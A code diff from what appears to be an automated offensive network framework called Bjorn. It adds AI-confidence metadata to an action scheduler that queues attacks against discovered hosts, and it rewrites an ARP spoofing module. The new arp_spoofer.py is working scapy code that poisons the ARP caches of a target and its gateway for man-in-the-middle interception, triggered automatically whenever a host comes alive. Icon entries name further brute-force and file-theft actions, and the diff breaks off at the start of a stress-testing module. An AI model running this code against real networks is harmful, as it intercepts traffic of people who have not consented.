+ if not self._is_action_enabled(action): continue trigger = (action.get("b_trigger") or "").strip() @@ -275,7 +613,7 @@ class ActionScheduler: for action in self._action_definitions.values(): if (action.get("b_action") or "normal") == "global": continue - if int(action.get("b_enabled", 1) or 1) != 1: + if not self._is_action_enabled(action): continue trigger = (action.get("b_trigger") or "").strip() @@ -309,6 +647,19 @@ class ActionScheduler: next_run = _utcnow() if not last else (last + timedelta(seconds=interval)) scheduled_for = _db_ts(next_run) + metadata = { + "interval": interval, + "is_global": True, + "decision_method": "heuristic", + "decision_origin": "heuristic", + } + self._annotate_decision_metadata( + metadata=metadata, + action_name=action_name, + context={"mac": mac, "hostname": "Bjorn-C2", "ports": []}, + decision_scope="scheduled_global", + ) + inserted = self.db.ensure_scheduled_occurrence( action_name=action_name, next_run_at=scheduled_for, @@ -317,7 +668,7 @@ class ActionScheduler: priority=int(action_def.get("b_priority", 40) or 40), trigger="scheduler", tags=action_def.get("b_tags", []), - metadata={"interval": interval, "is_global": True}, + metadata=metadata, max_retries=int(action_def.get("b_max_retries", 3) or 3), ) if inserted: @@ -354,6 +705,23 @@ class ActionScheduler: next_run = _utcnow() if not last else (last + timedelta(seconds=interval)) scheduled_for = _db_ts(next_run) + metadata = { + "interval": interval, + "is_global": False, + "decision_method": "heuristic", + "decision_origin": "heuristic", + } + self._annotate_decision_metadata( + metadata=metadata, + action_name=action_name, + context={ + "mac": mac, + "hostname": (host.get("hostnames") or "").split(";")[0], + "ports": [int(p) for p in (host.get("ports") or "").split(";") if p.isdigit()], + }, + decision_scope="scheduled_host", + ) + inserted = self.db.ensure_scheduled_occurrence( action_name=action_name, next_run_at=scheduled_for, @@ -362,7 +730,7 @@ class ActionScheduler: priority=int(action_def.get("b_priority", 40) or 40), trigger="scheduler", tags=action_def.get("b_tags", []), - metadata={"interval": interval, "is_global": False}, + metadata=metadata, max_retries=int(action_def.get("b_max_retries", 3) or 3), ) if inserted: @@ -382,7 +750,7 @@ class ActionScheduler: for action in self._action_definitions.values(): if (action.get("b_action") or "normal") != "global": continue - if int(action.get("b_enabled", 1)) != 1: + if not self._is_action_enabled(action): continue trigger = (action.get("b_trigger") or "").strip() @@ -409,14 +777,13 @@ class ActionScheduler: continue # Queue the action - self._queue_global_action(action) - self._last_global_runs[action_name] = time.time() - logger.info(f"Queued global action {action_name}") + if self._queue_global_action(action): + self._last_global_runs[action_name] = time.time() except Exception as e: logger.error(f"Error evaluating global actions: {e}") - def _queue_global_action(self, action_def: Dict[str, Any]): + def _queue_global_action(self, action_def: Dict[str, Any]) -> bool: """Queue a global action for execution (idempotent insert).""" action_name = action_def["b_class"] mac = self.ctrl_mac @@ -429,12 +796,30 @@ class ActionScheduler: "requirements": action_def.get("b_requires", ""), "timeout": timeout, "is_global": True, + "decision_method": "heuristic", + "decision_origin": "heuristic", } + # Global context (controller itself) + context = { + "mac": mac, + "hostname": "Bjorn-C2", + "ports": [] # Global actions usually don't target specific ports on controller + } + self._annotate_decision_metadata( + metadata=metadata, + action_name=action_name, + context=context, + decision_scope="queue_global", + ) + ai_conf = metadata.get("ai_confidence") + if isinstance(ai_conf, (int, float)) and metadata.get("decision_origin") == "ai_confirmed": + action_def["b_priority"] = int(action_def.get("b_priority", 50) or 50) + int(20 * float(ai_conf)) + try: self._ensure_host_exists(mac) # Guard with NOT EXISTS to avoid races - self.db.execute( + affected = self.db.execute( """ INSERT INTO action_queue ( action_name, mac_address, ip, port, hostname, service, @@ -463,8 +848,13 @@ class ActionScheduler: mac, ), ) + if affected and affected > 0: + self._log_queue_decision(action_name=action_name, mac=mac, metadata=metadata) + return True + return False except Exception as e: logger.error(f"Failed to queue global action {action_name}: {e}") + return False # ------------------------------------------------------------- host path @@ -480,7 +870,7 @@ class ActionScheduler: continue # Skip disabled actions - if not int(action_def.get("b_enabled", 1)): + if not self._is_action_enabled(action_def): continue trigger = (action_def.get("b_trigger") or "").strip() @@ -509,7 +899,6 @@ class ActionScheduler: # Queue the action self._queue_action(host, action_def, target_port, target_service) - logger.info(f"Queued {action_name} for {mac} (port={target_port}, service={target_service})") def _resolve_target_port_service( self, mac: str, host: Dict[str, Any], action_def: Dict[str, Any] @@ -640,7 +1029,7 @@ class ActionScheduler: def _queue_action( self, host: Dict[str, Any], action_def: Dict[str, Any], target_port: Optional[int], target_service: Optional[str] - ): + ) -> bool: """Queue action for execution (idempotent insert with NOT EXISTS guard).""" action_name = action_def["b_class"] mac = host["mac_address"] @@ -653,11 +1042,29 @@ class ActionScheduler: "requirements": action_def.get("b_requires", ""), "is_global": False, "timeout": timeout, + "decision_method": "heuristic", + "decision_origin": "heuristic", "ports_snapshot": host.get("ports") or "", } + context = { + "mac": mac, + "hostname": (host.get("hostnames") or "").split(";")[0], + "ports": [int(p) for p in (host.get("ports") or "").split(";") if p.isdigit()], + } + self._annotate_decision_metadata( + metadata=metadata, + action_name=action_name, + context=context, + decision_scope="queue_host", + ) + ai_conf = metadata.get("ai_confidence") + if isinstance(ai_conf, (int, float)) and metadata.get("decision_origin") == "ai_confirmed": + # Apply small priority boost only when AI confirmed this exact action. + action_def["b_priority"] = int(action_def.get("b_priority", 50) or 50) + int(20 * float(ai_conf)) + try: - self.db.execute( + affected = self.db.execute( """ INSERT INTO action_queue ( action_name, mac_address, ip, port, hostname, service, @@ -690,8 +1097,19 @@ class ActionScheduler: self_port, ), ) + if affected and affected > 0: + self._log_queue_decision( + action_name=action_name, + mac=mac, + metadata=metadata, + target_port=target_port, + target_service=target_service, + ) + return True + return False except Exception as e: logger.error(f"Failed to queue {action_name} for {mac}: {e}") + return False # ------------------------------------------------------------- last times @@ -708,7 +1126,11 @@ class ActionScheduler: ) if row and row[0].get("completed_at"): try: - return datetime.fromisoformat(row[0]["completed_at"]) + val = row[0]["completed_at"] + if isinstance(val, str): + return datetime.fromisoformat(val) + elif isinstance(val, datetime): + return val except Exception: return None return None @@ -726,7 +1148,11 @@ class ActionScheduler: ) if row and row[0].get("completed_at"): try: - return datetime.fromisoformat(row[0]["completed_at"]) + val = row[0]["completed_at"] + if isinstance(val, str): + return datetime.fromisoformat(val) + elif isinstance(val, datetime): + return val except Exception: return None return None @@ -840,19 +1266,7 @@ class ActionScheduler: except Exception as e: logger.error(f"Failed to cleanup queue: {e}") - def update_priorities(self): - """Boost priority for actions waiting too long (anti-starvation).""" - try: - self.db.execute( - """ - UPDATE action_queue - SET priority = MIN(100, priority + 1) - WHERE status='pending' - AND julianday('now') - julianday(created_at) > 0.0417 - """ - ) - except Exception as e: - logger.error(f"Failed to update priorities: {e}") + # update_priorities is defined above (line ~166); this duplicate is removed. # =================================================================== helpers == diff --git a/actions/actions_icons/ARPSpoof.png b/actions/actions_icons/ARPSpoof.png index 60cabad..55162ac 100644 Binary files a/actions/actions_icons/ARPSpoof.png and b/actions/actions_icons/ARPSpoof.png differ diff --git a/actions/actions_icons/BerserkerForce.png b/actions/actions_icons/BerserkerForce.png index e8f452c..875dd6c 100644 Binary files a/actions/actions_icons/BerserkerForce.png and b/actions/actions_icons/BerserkerForce.png differ diff --git a/actions/actions_icons/DNSPillager.png b/actions/actions_icons/DNSPillager.png index 63c3748..f8cb62b 100644 Binary files a/actions/actions_icons/DNSPillager.png and b/actions/actions_icons/DNSPillager.png differ diff --git a/actions/actions_icons/FTPBruteforce.png b/actions/actions_icons/FTPBruteforce.png index ee07ba8..6dca3cb 100644 Binary files a/actions/actions_icons/FTPBruteforce.png and b/actions/actions_icons/FTPBruteforce.png differ diff --git a/actions/actions_icons/FreyaHarvest.png b/actions/actions_icons/FreyaHarvest.png index 89b9c18..2e297bd 100644 Binary files a/actions/actions_icons/FreyaHarvest.png and b/actions/actions_icons/FreyaHarvest.png differ diff --git a/actions/actions_icons/HeimdallGuard.png b/actions/actions_icons/HeimdallGuard.png index d2f4a14..644e52a 100644 Binary files a/actions/actions_icons/HeimdallGuard.png and b/actions/actions_icons/HeimdallGuard.png differ diff --git a/actions/actions_icons/IDLE.png b/actions/actions_icons/IDLE.png index 03aac3c..c7f1de9 100644 Binary files a/actions/actions_icons/IDLE.png and b/actions/actions_icons/IDLE.png differ diff --git a/actions/actions_icons/LokiDeceiver.png b/actions/actions_icons/LokiDeceiver.png index 42b272c..454f6a9 100644 Binary files a/actions/actions_icons/LokiDeceiver.png and b/actions/actions_icons/LokiDeceiver.png differ diff --git a/actions/actions_icons/NetworkScanner.png b/actions/actions_icons/NetworkScanner.png index 38e26c6..b7d8dad 100644 Binary files a/actions/actions_icons/NetworkScanner.png and b/actions/actions_icons/NetworkScanner.png differ diff --git a/actions/actions_icons/NmapVulnScanner.png b/actions/actions_icons/NmapVulnScanner.png index 6927695..cdff05e 100644 Binary files a/actions/actions_icons/NmapVulnScanner.png and b/actions/actions_icons/NmapVulnScanner.png differ diff --git a/actions/actions_icons/OdinEye.png b/actions/actions_icons/OdinEye.png index 03ab2dc..18c414b 100644 Binary files a/actions/actions_icons/OdinEye.png and b/actions/actions_icons/OdinEye.png differ diff --git a/actions/actions_icons/PresenceJoin.png b/actions/actions_icons/PresenceJoin.png index 1fbd396..9be092b 100644 Binary files a/actions/actions_icons/PresenceJoin.png and b/actions/actions_icons/PresenceJoin.png differ diff --git a/actions/actions_icons/PresenceLeave.png b/actions/actions_icons/PresenceLeave.png index 739e758..f077c4e 100644 Binary files a/actions/actions_icons/PresenceLeave.png and b/actions/actions_icons/PresenceLeave.png differ diff --git a/actions/actions_icons/RuneCracker.png b/actions/actions_icons/RuneCracker.png index 4c79efd..9e41a98 100644 Binary files a/actions/actions_icons/RuneCracker.png and b/actions/actions_icons/RuneCracker.png differ diff --git a/actions/actions_icons/SMBBruteforce.png b/actions/actions_icons/SMBBruteforce.png index 5a47638..7190a7f 100644 Binary files a/actions/actions_icons/SMBBruteforce.png and b/actions/actions_icons/SMBBruteforce.png differ diff --git a/actions/actions_icons/SQLBruteforce.png b/actions/actions_icons/SQLBruteforce.png index 6dd1c2b..43b9a97 100644 Binary files a/actions/actions_icons/SQLBruteforce.png and b/actions/actions_icons/SQLBruteforce.png differ diff --git a/actions/actions_icons/SSHBruteforce.png b/actions/actions_icons/SSHBruteforce.png index 1935aac..1f7170a 100644 Binary files a/actions/actions_icons/SSHBruteforce.png and b/actions/actions_icons/SSHBruteforce.png differ diff --git a/actions/actions_icons/StealDataSQL.png b/actions/actions_icons/StealDataSQL.png index 280f03d..ba93177 100644 Binary files a/actions/actions_icons/StealDataSQL.png and b/actions/actions_icons/StealDataSQL.png differ diff --git a/actions/actions_icons/StealFilesFTP.png b/actions/actions_icons/StealFilesFTP.png index 632298c..a5b6d59 100644 Binary files a/actions/actions_icons/StealFilesFTP.png and b/actions/actions_icons/StealFilesFTP.png differ diff --git a/actions/actions_icons/StealFilesSMB.png b/actions/actions_icons/StealFilesSMB.png index 87206ff..955273c 100644 Binary files a/actions/actions_icons/StealFilesSMB.png and b/actions/actions_icons/StealFilesSMB.png differ diff --git a/actions/actions_icons/StealFilesSSH.png b/actions/actions_icons/StealFilesSSH.png index fae417e..04843ba 100644 Binary files a/actions/actions_icons/StealFilesSSH.png and b/actions/actions_icons/StealFilesSSH.png differ diff --git a/actions/actions_icons/StealFilesTelnet.png b/actions/actions_icons/StealFilesTelnet.png index 585b259..fd654a5 100644 Binary files a/actions/actions_icons/StealFilesTelnet.png and b/actions/actions_icons/StealFilesTelnet.png differ diff --git a/actions/actions_icons/TelnetBruteforce.png b/actions/actions_icons/TelnetBruteforce.png index 15ac3ca..da8fa4f 100644 Binary files a/actions/actions_icons/TelnetBruteforce.png and b/actions/actions_icons/TelnetBruteforce.png differ diff --git a/actions/actions_icons/ThorHammer.png b/actions/actions_icons/ThorHammer.png index fc223be..c1989ca 100644 Binary files a/actions/actions_icons/ThorHammer.png and b/actions/actions_icons/ThorHammer.png differ diff --git a/actions/actions_icons/ValkyrieScout.png b/actions/actions_icons/ValkyrieScout.png deleted file mode 100644 index 719271c..0000000 Binary files a/actions/actions_icons/ValkyrieScout.png and /dev/null differ diff --git a/actions/actions_icons/WPAsecPotfileManager.png b/actions/actions_icons/WPAsecPotfileManager.png index ea65cc0..c4b71d1 100644 Binary files a/actions/actions_icons/WPAsecPotfileManager.png and b/actions/actions_icons/WPAsecPotfileManager.png differ diff --git a/actions/actions_icons/YggdrasilMapper.png b/actions/actions_icons/YggdrasilMapper.png index 9513557..5dcf661 100644 Binary files a/actions/actions_icons/YggdrasilMapper.png and b/actions/actions_icons/YggdrasilMapper.png differ diff --git a/actions/actions_icons/default.png b/actions/actions_icons/default.png index 558dd1a..464c76c 100644 Binary files a/actions/actions_icons/default.png and b/actions/actions_icons/default.png differ diff --git a/actions/actions_icons/thor_hammer.png b/actions/actions_icons/thor_hammer.png index a8cb992..2c77fe5 100644 Binary files a/actions/actions_icons/thor_hammer.png and b/actions/actions_icons/thor_hammer.png differ diff --git a/actions/arp_spoofer.py b/actions/arp_spoofer.py index 00b7f53..fd9d48e 100644 --- a/actions/arp_spoofer.py +++ b/actions/arp_spoofer.py @@ -1,163 +1,330 @@ -# AARP Spoofer by poisoning the ARP cache of a target and a gateway. -# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target IP address of the target device (overrides saved value). -# -g, --gateway IP address of the gateway (overrides saved value). -# -i, --interface Network interface (default: primary or saved). -# -d, --delay Delay between ARP packets in seconds (default: 2 or saved). -# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY -# - Subsequent: python arpspoofer.py (uses saved settings). -# - Update: Provide any argument to override saved values. +""" +arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning. + +Ethical cybersecurity lab action for Bjorn framework. +Performs bidirectional ARP spoofing between a target host and the network +gateway. Restores ARP tables on completion or interruption. + +SQL mode: +- Orchestrator provides (ip, port, row) for the target host. +- Gateway IP is auto-detected from system routing table or shared config. +- Results persisted to JSON output and logged for RL training. +- Fully integrated with EPD display (progress, status, comments). +""" import os -import json import time -import argparse -from scapy.all import ARP, send, sr1, conf +import logging +import json +import subprocess +import datetime +from typing import Dict, Optional, Tuple + +from shared import SharedData +from logger import Logger + +logger = Logger(name="arp_spoofer.py", level=logging.DEBUG) + +# Silence scapy warnings +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +logging.getLogger("scapy").setLevel(logging.ERROR) + +# ──────────────────────── Action Metadata ──────────────────────── +b_class = "ARPSpoof" +b_module = "arp_spoofer" +b_status = "arp_spoof" +b_port = None +b_service = '[]' +b_trigger = "on_host_alive" +b_parent = None +b_action = "aggressive" +b_category = "network_attack" +b_name = "ARP Spoofer" +b_description = ( + "Bidirectional ARP cache poisoning between target host and gateway for " + "MITM positioning. Detects gateway automatically, spoofs both directions, " + "and cleanly restores ARP tables on completion. Educational lab use only." +) +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "ARPSpoof.png" + +b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}' +b_priority = 30 +b_cooldown = 3600 +b_rate_limit = "2/86400" +b_timeout = 300 +b_max_retries = 1 +b_stealth_level = 2 +b_risk_level = "high" +b_enabled = 1 +b_tags = ["mitm", "arp", "network", "layer2"] + +b_args = { + "duration": { + "type": "slider", "label": "Duration (s)", + "min": 10, "max": 300, "step": 10, "default": 60, + "help": "How long to maintain the ARP poison (seconds)." + }, + "interval": { + "type": "slider", "label": "Packet interval (s)", + "min": 1, "max": 10, "step": 1, "default": 2, + "help": "Delay between ARP poison packets." + }, +} +b_examples = [ + {"duration": 60, "interval": 2}, + {"duration": 120, "interval": 1}, +] +b_docs_url = "docs/actions/ARPSpoof.md" + +# ──────────────────────── Constants ────────────────────────────── +_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data") +OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "arp") -b_class = "ARPSpoof" -b_module = "arp_spoofer" -b_enabled = 0 -# Folder and file for settings -SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json") class ARPSpoof: - def __init__(self, target_ip, gateway_ip, interface, delay): - self.target_ip = target_ip - self.gateway_ip = gateway_ip - self.interface = interface - self.delay = delay - conf.iface = self.interface # Set the interface - print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s") + """ARP cache poisoning action integrated with Bjorn orchestrator.""" - def get_mac(self, ip): - """Gets the MAC address of a target IP by sending an ARP request.""" - print(f"Retrieving MAC address for IP: {ip}") + def __init__(self, shared_data: SharedData): + self.shared_data = shared_data + self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} + self._refresh_ip_identity_cache() + self._scapy_ok = False + self._check_scapy() try: - arp_request = ARP(pdst=ip) - response = sr1(arp_request, timeout=2, verbose=False) - if response: - print(f"MAC address found for {ip}: {response.hwsrc}") - return response.hwsrc - else: - print(f"No ARP response received for IP {ip}") - return None + os.makedirs(OUTPUT_DIR, exist_ok=True) + except OSError: + pass + logger.info("ARPSpoof initialized") + + def _check_scapy(self): + try: + from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401 + self._scapy_ok = True + except ImportError: + logger.error("scapy not available — ARPSpoof will not function") + self._scapy_ok = False + + # ─────────────────── Identity Cache ────────────────────── + def _refresh_ip_identity_cache(self): + self._ip_to_identity.clear() + try: + rows = self.shared_data.db.get_all_hosts() except Exception as e: - print(f"Error retrieving MAC address for {ip}: {e}") - return None + logger.error(f"DB get_all_hosts failed: {e}") + rows = [] + for r in rows: + mac = r.get("mac_address") or "" + if not mac: + continue + hn = (r.get("hostnames") or "").split(";", 1)[0] + for ip_addr in [p.strip() for p in (r.get("ips") or "").split(";") if p.strip()]: + self._ip_to_identity[ip_addr] = (mac, hn) - def spoof(self, target_ip, spoof_ip): - """Sends an ARP packet to spoof the target into believing the attacker's IP is the spoofed IP.""" - print(f"Preparing ARP spoofing for target {target_ip}, pretending to be {spoof_ip}") - target_mac = self.get_mac(target_ip) - spoof_mac = self.get_mac(spoof_ip) - if not target_mac or not spoof_mac: - print(f"Cannot find MAC address for target {target_ip} or {spoof_ip}, spoofing aborted") - return + def _mac_for_ip(self, ip: str) -> Optional[str]: + if ip not in self._ip_to_identity: + self._refresh_ip_identity_cache() + return self._ip_to_identity.get(ip, (None, None))[0] + # ─────────────────── Gateway Detection ────────────────── + def _detect_gateway(self) -> Optional[str]: + """Auto-detect the default gateway IP.""" + gw = getattr(self.shared_data, "gateway_ip", None) + if gw and gw != "0.0.0.0": + return gw try: - arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac) - send(arp_response, verbose=False) - print(f"Spoofed ARP packet sent to {target_ip} claiming to be {spoof_ip}") + result = subprocess.run( + ["ip", "route", "show", "default"], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0 and result.stdout.strip(): + parts = result.stdout.strip().split("\n")[0].split() + idx = parts.index("via") if "via" in parts else -1 + if idx >= 0 and idx + 1 < len(parts): + return parts[idx + 1] except Exception as e: - print(f"Error sending ARP packet to {target_ip}: {e}") - - def restore(self, target_ip, spoof_ip): - """Sends an ARP packet to restore the legitimate IP/MAC mapping for the target and spoof IP.""" - print(f"Restoring ARP association for {target_ip} using {spoof_ip}") - target_mac = self.get_mac(target_ip) - gateway_mac = self.get_mac(spoof_ip) - - if not target_mac or not gateway_mac: - print(f"Cannot restore ARP, MAC addresses not found for {target_ip} or {spoof_ip}") - return - + logger.debug(f"Gateway detection via ip route failed: {e}") try: - arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=gateway_mac) - send(arp_response, verbose=False, count=5) - print(f"ARP association restored between {spoof_ip} and {target_mac}") + from scapy.all import conf as scapy_conf + gw = scapy_conf.route.route("0.0.0.0")[2] + if gw and gw != "0.0.0.0": + return gw except Exception as e: - print(f"Error restoring ARP association for {target_ip}: {e}") + logger.debug(f"Gateway detection via scapy failed: {e}") + return None - def execute(self): - """Executes the ARP spoofing attack.""" + # ─────────────────── ARP Operations ────────────────────── + @staticmethod + def _get_mac_via_arp(ip: str, iface: str = None, timeout: float = 2.0) -> Optional[str]: + """Resolve IP to MAC via ARP request.""" try: - print(f"Starting ARP Spoofing attack on target {self.target_ip} via gateway {self.gateway_ip}") + from scapy.all import ARP, sr1 + kwargs = {"timeout": timeout, "verbose": False} + if iface: + kwargs["iface"] = iface + resp = sr1(ARP(pdst=ip), **kwargs) + if resp and hasattr(resp, "hwsrc"): + return resp.hwsrc + except Exception as e: + logger.debug(f"ARP resolution failed for {ip}: {e}") + return None - while True: - target_mac = self.get_mac(self.target_ip) - gateway_mac = self.get_mac(self.gateway_ip) + @staticmethod + def _send_arp_poison(target_ip, target_mac, spoof_ip, iface=None): + """Send a single ARP poison packet (op=is-at).""" + try: + from scapy.all import ARP, Ether, sendp + pkt = Ether(dst=target_mac) / ARP( + op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip + ) + kwargs = {"verbose": False} + if iface: + kwargs["iface"] = iface + sendp(pkt, **kwargs) + except Exception as e: + logger.error(f"ARP poison send failed to {target_ip}: {e}") - if not target_mac or not gateway_mac: - print(f"Error retrieving MAC addresses, stopping ARP Spoofing") - self.restore(self.target_ip, self.gateway_ip) - self.restore(self.gateway_ip, self.target_ip) + @staticmethod + def _send_arp_restore(target_ip, target_mac, real_ip, real_mac, iface=None): + """Restore legitimate ARP mapping with multiple packets.""" + try: + from scapy.all import ARP, Ether, sendp + pkt = Ether(dst=target_mac) / ARP( + op=2, pdst=target_ip, hwdst=target_mac, + psrc=real_ip, hwsrc=real_mac + ) + kwargs = {"verbose": False, "count": 5} + if iface: + kwargs["iface"] = iface + sendp(pkt, **kwargs) + except Exception as e: + logger.error(f"ARP restore failed for {target_ip}: {e}") + + # ─────────────────── Main Execute ──────────────────────── + def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: + """Execute bidirectional ARP spoofing against target host.""" + self.shared_data.bjorn_orch_status = "ARPSpoof" + self.shared_data.bjorn_progress = "0%" + self.shared_data.comment_params = {"ip": ip} + + if not self._scapy_ok: + logger.error("scapy unavailable, cannot perform ARP spoof") + return "failed" + + target_mac = None + gateway_mac = None + gateway_ip = None + iface = None + + try: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + mac = row.get("MAC Address") or row.get("mac_address") or "" + hostname = row.get("Hostname") or row.get("hostname") or "" + + # 1) Detect gateway + gateway_ip = self._detect_gateway() + if not gateway_ip: + logger.error(f"Cannot detect gateway for ARP spoof on {ip}") + return "failed" + if gateway_ip == ip: + logger.warning(f"Target {ip} IS the gateway — skipping") + return "failed" + + logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}") + self.shared_data.log_milestone(b_class, "GatewayID", f"Poisoning {ip} <-> {gateway_ip}") + self.shared_data.comment_params = {"ip": ip, "gateway": gateway_ip} + self.shared_data.bjorn_progress = "10%" + + # 2) Resolve MACs + iface = getattr(self.shared_data, "default_network_interface", None) + target_mac = self._get_mac_via_arp(ip, iface) + gateway_mac = self._get_mac_via_arp(gateway_ip, iface) + + if not target_mac: + logger.error(f"Cannot resolve MAC for target {ip}") + return "failed" + if not gateway_mac: + logger.error(f"Cannot resolve MAC for gateway {gateway_ip}") + return "failed" + + self.shared_data.bjorn_progress = "20%" + logger.info(f"Resolved — target_mac={target_mac}, gateway_mac={gateway_mac}") + self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof") + + # 3) Spoofing loop + duration = int(getattr(self.shared_data, "arp_spoof_duration", 60)) + interval = max(1, int(getattr(self.shared_data, "arp_spoof_interval", 2))) + packets_sent = 0 + start_time = time.time() + + while (time.time() - start_time) < duration: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit — stopping ARP spoof") break + self._send_arp_poison(ip, target_mac, gateway_ip, iface) + self._send_arp_poison(gateway_ip, gateway_mac, ip, iface) + packets_sent += 2 - print(f"Sending ARP packets to poison {self.target_ip} and {self.gateway_ip}") - self.spoof(self.target_ip, self.gateway_ip) - self.spoof(self.gateway_ip, self.target_ip) + elapsed = time.time() - start_time + pct = min(90, int(20 + (elapsed / max(duration, 1)) * 70)) + self.shared_data.bjorn_progress = f"{pct}%" + + if packets_sent % 20 == 0: + self.shared_data.log_milestone(b_class, "Status", f"Injected {packets_sent} poison pkts") - time.sleep(self.delay) + time.sleep(interval) + + # 4) Restore ARP tables + self.shared_data.bjorn_progress = "95%" + logger.info("Restoring ARP tables...") + self.shared_data.log_milestone(b_class, "RestoreStart", f"Healing {ip} and {gateway_ip}") + self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface) + self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface) + + # 5) Save results + elapsed_total = time.time() - start_time + result_data = { + "timestamp": datetime.datetime.now().isoformat(), + "target_ip": ip, "target_mac": target_mac, + "gateway_ip": gateway_ip, "gateway_mac": gateway_mac, + "duration_s": round(elapsed_total, 1), + "packets_sent": packets_sent, + "hostname": hostname, "mac_address": mac + } + try: + ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") + out_file = os.path.join(OUTPUT_DIR, f"arp_spoof_{ip}_{ts}.json") + with open(out_file, "w") as f: + json.dump(result_data, f, indent=2) + except Exception as e: + logger.error(f"Failed to save results: {e}") + + self.shared_data.bjorn_progress = "100%" + self.shared_data.log_milestone(b_class, "Complete", f"Restored tables after {packets_sent} pkts") + return "success" - except KeyboardInterrupt: - print("Attack interrupted. Restoring ARP tables.") - self.restore(self.target_ip, self.gateway_ip) - self.restore(self.gateway_ip, self.target_ip) - print("ARP Spoofing stopped and ARP tables restored.") except Exception as e: - print(f"Unexpected error during ARP Spoofing attack: {e}") + logger.error(f"ARPSpoof failed for {ip}: {e}") + if target_mac and gateway_mac and gateway_ip: + try: + self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface) + self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface) + logger.info("Emergency ARP restore sent after error") + except Exception: + pass + return "failed" + finally: + self.shared_data.bjorn_progress = "" -def save_settings(target, gateway, interface, delay): - """Saves the ARP spoofing settings to a JSON file.""" - try: - os.makedirs(SETTINGS_DIR, exist_ok=True) - settings = { - "target": target, - "gateway": gateway, - "interface": interface, - "delay": delay - } - with open(SETTINGS_FILE, 'w') as file: - json.dump(settings, file) - print(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - print(f"Failed to save settings: {e}") - -def load_settings(): - """Loads the ARP spoofing settings from a JSON file.""" - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as file: - return json.load(file) - except Exception as e: - print(f"Failed to load settings: {e}") - return {} if __name__ == "__main__": - parser = argparse.ArgumentParser(description="ARP Spoofing Attack Script") - parser.add_argument("-t", "--target", help="IP address of the target device") - parser.add_argument("-g", "--gateway", help="IP address of the gateway") - parser.add_argument("-i", "--interface", default=conf.iface, help="Network interface to use (default: primary interface)") - parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)") - args = parser.parse_args() - - # Load saved settings and override with CLI arguments - settings = load_settings() - target_ip = args.target or settings.get("target") - gateway_ip = args.gateway or settings.get("gateway") - interface = args.interface or settings.get("interface") - delay = args.delay or settings.get("delay") - - if not target_ip or not gateway_ip: - print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.") - exit(1) - - # Save the settings for future use - save_settings(target_ip, gateway_ip, interface, delay) - - # Execute the attack - spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay) - spoof.execute() + shared_data = SharedData() + try: + spoofer = ARPSpoof(shared_data) + logger.info("ARPSpoof module ready.") + except Exception as e: + logger.error(f"Error: {e}") diff --git a/actions/berserker_force.py b/actions/berserker_force.py index 7537bf7..2640ba2 100644 --- a/actions/berserker_force.py +++ b/actions/berserker_force.py @@ -1,315 +1,617 @@ -# Resource exhaustion testing tool for network and service stress analysis. -# Saves settings in `/home/bjorn/.settings_bjorn/berserker_force_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target Target IP or hostname to test. -# -p, --ports Ports to test (comma-separated, default: common ports). -# -m, --mode Test mode (syn, udp, http, mixed, default: mixed). -# -r, --rate Packets per second (default: 100). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stress). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +berserker_force.py -- Service resilience / stress testing (Pi Zero friendly, orchestrator compatible). + +What it does: +- Phase 1 (Baseline): Measures TCP connect response times per port (3 samples each). +- Phase 2 (Stress Test): Runs a rate-limited load test using TCP connect, optional SYN probes + (scapy), HTTP probes (urllib), or mixed mode. +- Phase 3 (Post-stress): Re-measures baseline to detect degradation. +- Phase 4 (Analysis): Computes per-port degradation percentages, writes a JSON report. + +This is NOT a DoS tool. It sends measured, rate-limited probes and records how the +target's response times change under light load. Max 50 req/s to stay RPi-safe. + +Output is saved to data/output/stress/_.json +""" -import os import json -import argparse -from datetime import datetime import logging -import threading -import time -import queue -import socket +import os import random -import requests -from scapy.all import * -import psutil -from collections import defaultdict +import socket +import ssl +import statistics +import time +import threading +from datetime import datetime, timezone +from typing import Any, Dict, List, Optional, Tuple +from urllib.request import Request, urlopen +from urllib.error import URLError + +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="berserker_force.py", level=logging.DEBUG) + +# -------------------- Scapy (optional) ---------------------------------------- +_HAS_SCAPY = False +try: + from scapy.all import IP, TCP, sr1, conf as scapy_conf # type: ignore + _HAS_SCAPY = True +except ImportError: + 